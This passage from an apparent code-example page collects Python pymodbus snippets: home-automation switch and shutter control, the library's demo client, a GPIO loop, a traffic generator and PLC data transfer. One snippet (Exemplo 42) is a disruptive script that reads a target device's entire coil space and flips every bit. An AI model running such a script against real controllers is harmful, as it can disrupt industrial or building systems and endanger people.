                    yield sleep(0.1)
                    self.client.write_coil(32768 + id, 0)
            elif (id == 0):
                for i in range(6):
                    if(result.bits[i] is False):
                        self.client.write_coil(32768 + i, 1)
                yield sleep(0.1)
                for i in range(6):
                    if(result.bits[i] is False):
                        self.client.write_coil(32768 + i, 0)
            else:
                return "unknown switch"

            return "ok"
        except ConnectionException as connErr:
            return "connection error"
        except Exception as err:
            print("error: {}".format(err), file=sys.stdout)
            traceback.print_exc(file=sys.stdout)
            return "connection error"

    @inlineCallbacks
    def switchOff(self, id):
        try:
            if (self.client.connect() is False):
                print('not connected')
                self.client.connect()
                print('trying to connecto to ' + str(self.pfcIp))

            print("switchOff {}".format(id))

            id = int(id)
            state = True

            result = self.client.read_coils(560, 6)

            if (id >= 16 and id <= 21):
                id = (id - 16)
                if(result.bits[id] is True):
                    self.client.write_coil(32768 + id, 1)
                    yield sleep(0.1)
                    self.client.write_coil(32768 + id, 0)
            elif (id == 0):
                for i in range(6):
                    if(result.bits[i] is True):
                        self.client.write_coil(32768 + i, 1)
                yield sleep(0.1)
                for i in range(6):
                    if(result.bits[i] is True):
                        self.client.write_coil(32768 + i, 0)
            else:
                return "unknown switch"

            return "ok"
        except ConnectionException as connErr:
            return "connection error"
        except Exception as err:
            print("error: {}".format(err), file=sys.stdout)
            traceback.print_exc(file=sys.stdout)
            return "connection error"

    #==============================================================================
    #   Ensures that the requestLoop is called exactly once every second, sleeps for the rest of the time
    #==============================================================================
    def onJoin(self, details):
        ApplicationSession.onJoin(self, details)
        print("session ready")

        self.register(self.toggleSwitch, u'eshl.wago.v1.switch.toggle')
        self.register(self.switchOn, u'eshl.wago.v1.switch.on')
        self.register(self.switchOff, u'eshl.wago.v1.switch.off')

        self._loop = task.LoopingCall(self.requestLoop)
        self._requestLoopHandle = self._loop.start(1.0)

    def onLeave(self, details):
        ApplicationSession.onLeave(self, details)
        print("leaving")

        if(hasattr(self, "_loop") and self._loop):
            self._loop.stop()
Exemplo n.º 39
0
def run_sync_client():
    # ------------------------------------------------------------------------# 
    # choose the client you want
    # ------------------------------------------------------------------------# 
    # make sure to start an implementation to hit against. For this
    # you can use an existing device, the reference implementation in the tools
    # directory, or start a pymodbus server.
    #
    # If you use the UDP or TCP clients, you can override the framer being used
    # to use a custom implementation (say RTU over TCP). By default they use
    # the socket framer::
    #
    #    client = ModbusClient('localhost', port=5020, framer=ModbusRtuFramer)
    #
    # It should be noted that you can supply an ipv4 or an ipv6 host address
    # for both the UDP and TCP clients.
    #
    # There are also other options that can be set on the client that controls
    # how transactions are performed. The current ones are:
    #
    # * retries - Specify how many retries to allow per transaction (default=3)
    # * retry_on_empty - Is an empty response a retry (default = False)
    # * source_address - Specifies the TCP source address to bind to
    #
    # Here is an example of using these options::
    #
    #    client = ModbusClient('localhost', retries=3, retry_on_empty=True)
    # ------------------------------------------------------------------------# 
    client = ModbusClient('localhost', port=5020)
    # client = ModbusClient(method='ascii', port='/dev/pts/2', timeout=1)
    # client = ModbusClient(method='rtu', port='/dev/ttyp0', timeout=1)
    client.connect()
    
    # ------------------------------------------------------------------------# 
    # specify slave to query
    # ------------------------------------------------------------------------# 
    # The slave to query is specified in an optional parameter for each
    # individual request. This can be done by specifying the `unit` parameter
    # which defaults to `0x00`
    # ----------------------------------------------------------------------- #
    log.debug("Reading Coils")
    rr = client.read_coils(1, 1, unit=0x01)
    print(rr)
    
    # ----------------------------------------------------------------------- #
    # example requests
    # ----------------------------------------------------------------------- #
    # simply call the methods that you would like to use. An example session
    # is displayed below along with some assert checks. Note that some modbus
    # implementations differentiate holding/input discrete/coils and as such
    # you will not be able to write to these, therefore the starting values
    # are not known to these tests. Furthermore, some use the same memory
    # blocks for the two sets, so a change to one is a change to the other.
    # Keep both of these cases in mind when testing as the following will
    # _only_ pass with the supplied async modbus server (script supplied).
    # ----------------------------------------------------------------------- #
    log.debug("Write to a Coil and read back")
    rq = client.write_coil(0, True, unit=UNIT)
    rr = client.read_coils(0, 1, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    assert(rr.bits[0] == True)          # test the expected value
    
    log.debug("Write to multiple coils and read back- test 1")
    rq = client.write_coils(1, [True]*8, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    rr = client.read_coils(1, 21, unit=UNIT)
    assert(rr.function_code < 0x80)     # test that we are not an error
    resp = [True]*21
    
    # If the returned output quantity is not a multiple of eight,
    # the remaining bits in the final data byte will be padded with zeros
    # (toward the high order end of the byte).
    
    resp.extend([False]*3)
    assert(rr.bits == resp)         # test the expected value
    
    log.debug("Write to multiple coils and read back - test 2")
    rq = client.write_coils(1, [False]*8, unit=UNIT)
    rr = client.read_coils(1, 8, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    assert(rr.bits == [False]*8)         # test the expected value
    
    log.debug("Read discrete inputs")
    rr = client.read_discrete_inputs(0, 8, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    
    log.debug("Write to a holding register and read back")
    rq = client.write_register(1, 10, unit=UNIT)
    rr = client.read_holding_registers(1, 1, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    assert(rr.registers[0] == 10)       # test the expected value
    
    log.debug("Write to multiple holding registers and read back")
    rq = client.write_registers(1, [10]*8, unit=UNIT)
    rr = client.read_holding_registers(1, 8, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    assert(rr.registers == [10]*8)      # test the expected value
    
    log.debug("Read input registers")
    rr = client.read_input_registers(1, 8, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    
    arguments = {
        'read_address':    1,
        'read_count':      8,
        'write_address':   1,
        'write_registers': [20]*8,
    }
    log.debug("Read write registeres simulataneously")
    rq = client.readwrite_registers(unit=UNIT, **arguments)
    rr = client.read_holding_registers(1, 8, unit=UNIT)
    assert(rq.function_code < 0x80)     # test that we are not an error
    assert(rq.registers == [20]*8)      # test the expected value
    assert(rr.registers == [20]*8)      # test the expected value
    
    # ----------------------------------------------------------------------- #
    # close the client
    # ----------------------------------------------------------------------- #
    client.close()
Exemplo n.º 40
0
pin_status = 1
update_interval = 0.05

if __name__ == "__main__":
	
	print "=== Modbus client (Single button) ==="
	parser = argparse.ArgumentParser(description='Modbus client')
	parser.add_argument('ip',  default='localhost', help='IP adress of modbus server')
	args = parser.parse_args()
	
	client = ModbusTcpClient(args.ip)

	GPIO.setmode(GPIO.BCM)
	GPIO.setwarnings(False)
	GPIO.setup(led, GPIO.IN)
	
	try:
		while True:	
			pin_status = GPIO.input(led)
			print status
			client.write_coil(20, pin_status)
			time.sleep(update_interval)
	except KeyboardInterrupt:
		print "Stopping program"
	except Exception:
		traceback.print_exc(file=sys.stdout)	
	GPIO.cleanup()
	client.close()
	print "Done"
	sys.exit(0)
class clientthreads(threading.Thread):

    def __init__(self, vnic, ipaddr, port):
        threading.Thread.__init__(self)
        self.ipaddr = ipaddr  # ip address
        self.port = port  # port address
        self.vnic = vnic  # virtual nic
        self.mode = ""  # server or client
        self.state = ""  # up or down
        self.dest = ""  # destination address for client
        self.clientstop = threading.Event()
        self.server = ""
        self.client = ""
        self.framer = ""
        self.vnicm = ""
        self.runtime= 0
        self.delayr = random.uniform(0,5)
        self.delayw = random.uniform(0,60)
        self.firstdelay = 0
        self.pstart= ""


    def run(self):
        self.client = ModbusTcpClient(self.dest, self.port, source_address=(self.ipaddr, 0), retries=1, retry_on_empty=True)
        if(self.mode=="read"):
            self.clientintr()
        elif(self.mode=="write"):
            self.clientintw()
        else:
            print "wrong mode specified"

    def clientintr(self):  # instantiate server stuff
        while(not self.clientstop.is_set()):
            if(time.time() - self.pstart > self.runtime):
                print "stopping"
                break
            if(self.firstdelay < 1):
                print "Start RDelay is: " + str(self.delayr)
                time.sleep(self.delayr)
                self.firstdelay = 1
                print "Starting Reads"

            self.clientreads()
            print "\n\r-----read-----\n\r"
            print self.dest 
            print time.time() - self.pstart
            print "------------------\n\r"
    
    def clientintw(self):  # instantiate server stuff
        while(not self.clientstop.is_set()):
            if(time.time() - self.pstart > self.runtime):
                print "stopping"
                break
            if(self.firstdelay < 1):
                print "Start WDelay is: " + str(self.delayw)
                time.sleep(self.delayw)
                self.firstdelay = 1
                print "Starting Writes"

            self.clientwrites()
            print "\n\r-----write----\n\r"
            print self.dest 
            print time.time() - self.pstart
            print "------------------\n\r"


    def clientreads(self):
        self.client.read_coils(1, 10)
        self.client.read_discrete_inputs(1, 10)
        self.client.read_holding_registers(1, 10)
        self.client.read_input_registers(1, 10)
        time.sleep(5)

    def clientwrites(self):
        self.client.write_coil(1, True)
        self.client.write_register(1, 3)
        self.client.write_coils(1, [True]*10)
        self.client.write_registers(1, [3]*10)
        time.sleep(60)
    
    def alloc(self):  # Allocate ip address
        if (validateIP(self.ipaddr, self.vnicm)):
            cmdargs = [self.vnic, self.ipaddr]
            subprocess.call(["ifconfig"] + cmdargs)
        else:
            return 0

    def dealloc(self):  # De-allocate ip address
        cmdargs = [self.vnic]
        subprocess.call(["ifconfig"] + cmdargs + ["down"])

    def stop(self):
        self.clientstop.set()
        return
Exemplo n.º 42
0
    (options,args) = parser.parse_args()
    
    client = ModbusTcpClient(options.ipaddress)
    #for x in range(4090,4095):
    
    #check for stupidity
    if len(options.ipaddress.strip())==0:
        print('invalid target ip')
        sys.exit(1)
    if options.start<0 or (options.start>options.end):
        print('invalid start (0-4095)')
        sys.exit(1)
    if options.end>4095 or (options.end<options.start):
        print('invalid end (0-4095)')
        sys.exit(1)

    #client reads at least 8 bits at a time, no matter what you ask for..so get 16
    #and flip bits rows at a time bits 0-65535, rows 0-4095, 16bits each time.
    for x in range(options.start,options.end):
        row=min(x*16,65520)
        result = client.read_coils(row,16)
        print("flipping bits from %d,%d"%(row,min(row+16,65535)))
        print("was %r"%result.bits)
        for y in range(len(result.bits)-1):
            if result.bits[y]:
                client.write_coil((row)+y, False)
            else:
                client.write_coil((row)+y,True)
    
    client.close()
Exemplo n.º 43
0
class InModbus(ApplicationSession):
    """
    Provides an RPC to control the shutters
    """
    def __init__(self, config=None):
            ApplicationSession.__init__(self, config)
            self.pfcIp = '192.168.1.53'
            self.modbusTcpPort = 502
            self.client = ModbusClient(self.pfcIp, self.modbusTcpPort)

    def shutterMapping(self, name):
        if name == "FlurLinksUnten":
            return 32768
        elif name == "FlurLinksOben":
            return 32769
        elif name == "FlurRechtsUnten":
            return 32770
        elif name == "FlurRechtsOben":
            return 32771
        # elif name == "ZimmerLinksUnten":
            # return 32772
        # elif name == "ZimmerLinksOben":
            # return 32773
        elif name == "ZimmerRechtsUnten":
            return 32774
        elif name == "ZimmerRechtsOben":
            return 32775
        elif name == "KuecheUnten":
            return 32776
        elif name == "KuecheOben":
            return 32777
        else:
            return "unknown"

    @inlineCallbacks
    def shutterControl(self, name):
        name = str(name)
        print(name)
        try:
            if (self.client.connect() is False):
                print('not connected')
                self.client = self.client.connect()
                print('trying to connecto to ' + str(self.pfcIp))

            modbusCoil = self.shutterMapping(name)
            if (modbusCoil != "unknown"):
                    self.client.write_coil(modbusCoil, 1)
                    yield sleep(0.1)
                    self.client.write_coil(modbusCoil, 0)
            else:
                return "unknown shutter"

        except ConnectionException as connErr:
            return "connection error"
        except Exception as err:
            print("error: {}".format(err), file=sys.stdout)
            traceback.print_exc(file=sys.stdout)
            return "connection error"

    def onJoin(self, details):
        print("session ready")

        self.register(self.shutterControl, u'eshl.wago.v1.misc.shuttercontrol')
Exemplo n.º 44
0
class ModbusClass():
    connected=False
    
    def __init__(self, *kwargs):
        self.connect()
    
    def connect(self):
        '''Try to connect to the Modbus client
        (mostely internal)
        '''
        if not self.connected:
            self.client = ModbusClient('192.168.50.238', port=502)
            self.client.connect()
            self.connected=True
    
    def reset_safety(self, callback):
        '''Call this class to reset safety
        :param callback: callback which should be called at the end
        '''
        if not self.connected:
            self.connect()
        #write to bit 8480
        rq = self.client.write_coil(8480, True)
        time.sleep(0.5)
        rq = self.client.write_coil(8480, False)
        callback()
    
    def transfer_bahn_nr(self, nr):
        rq = self.client.write_register(532, nr)
        rq = self.client.write_coil(8483, True)
        time.sleep(0.5)
        rq = self.client.write_coil(8483, False)
        print "transfered"
    
    def transfer_array(self, array, callback):
        '''Call this function to move the array to the PLC
        :param array: array which should be transmitted
        :param callback: callback which should be called when finished
        '''
        #check array size
        c=0
        for cube in array:
            c+=1
        if c!= 106:
            print "Array size isn't suitable", c
            return   
        
        lis = array
        
        #write cubes into PLC
        c=0
        for cube in lis:
            print '-', (c/5)+1, cube
            #write x
            rq = self.client.write_register(c, cube['x'])
            c+=1
            #write y
            rq = self.client.write_register(c, cube['y'])
            c+=1
            #write z
            rq = self.client.write_register(c, cube['z'])
            c+=1
            #write rot
            rq = self.client.write_register(c, cube['typ'])
            c+=1
            #write type
            rq = self.client.write_register(c, cube['rot'])
            c+=1
        callback()
        
    def machine_is_building(self, *kwargs):
        '''Call this class to get the bool if the machine is working or not
        '''
        rq = self.client.read_coils(8481,1)
        return rq.bits[0]
    
    def read_active_bahn(self, *kwargs):
        rq = self.client.read_holding_registers(533, 1)
        return rq.registers[0]
Exemplo n.º 45
0
rr = client.read_coils(1, 1, unit=0x01)

#---------------------------------------------------------------------------# 
# example requests
#---------------------------------------------------------------------------# 
# simply call the methods that you would like to use. An example session
# is displayed below along with some assert checks. Note that some modbus
# implementations differentiate holding/input discrete/coils and as such
# you will not be able to write to these, therefore the starting values
# are not known to these tests. Furthermore, some use the same memory
# blocks for the two sets, so a change to one is a change to the other.
# Keep both of these cases in mind when testing as the following will
# _only_ pass with the supplied async modbus server (script supplied).
#---------------------------------------------------------------------------#
log.debug("Write to a Coil and read back")
rq = client.write_coil(0, True, unit=1)
rr = client.read_coils(0, 1, unit=1)
assert(rq.function_code < 0x80)     # test that we are not an error
assert(rr.bits[0] == True)          # test the expected value

log.debug("Write to multiple coils and read back- test 1")
rq = client.write_coils(1, [True]*8, unit=1)
assert(rq.function_code < 0x80)     # test that we are not an error
rr = client.read_coils(1, 21, unit=1)
assert(rr.function_code < 0x80)     # test that we are not an error
resp = [True]*21

# If the returned output quantity is not a multiple of eight,
# the remaining bits in the final data byte will be padded with zeros
# (toward the high order end of the byte).
Exemplo n.º 46
0
        # NOTE: write_register
        if args.type == 'HR':
            if args.count == 1:
                hr_write = client.write_register(args.offset, args.register[0])
                assert(hr_write.function_code < 0x80)
            else:
                hrs_write = client.write_registers(args.offset, args.register)
                assert(hrs_write.function_code < 0x80)

        # NOTE: write_coil: map integers to bools
        elif args.type == 'CO':

            if args.count == 1:
                # NOTE: coil is a list with one bool
                if args.coil[0] == 1:
                    co_write = client.write_coil(args.offset, True)
                else:
                    co_write = client.write_coil(args.offset, False)
                assert(co_write.function_code < 0x80)

            else:
                coils = []
                for c in args.coil:
                    if c == 1:
                        coils.append(True)
                    else:
                        coils.append(False)
                cos_write = client.write_coils(args.offset, coils)
                assert(cos_write.function_code < 0x80)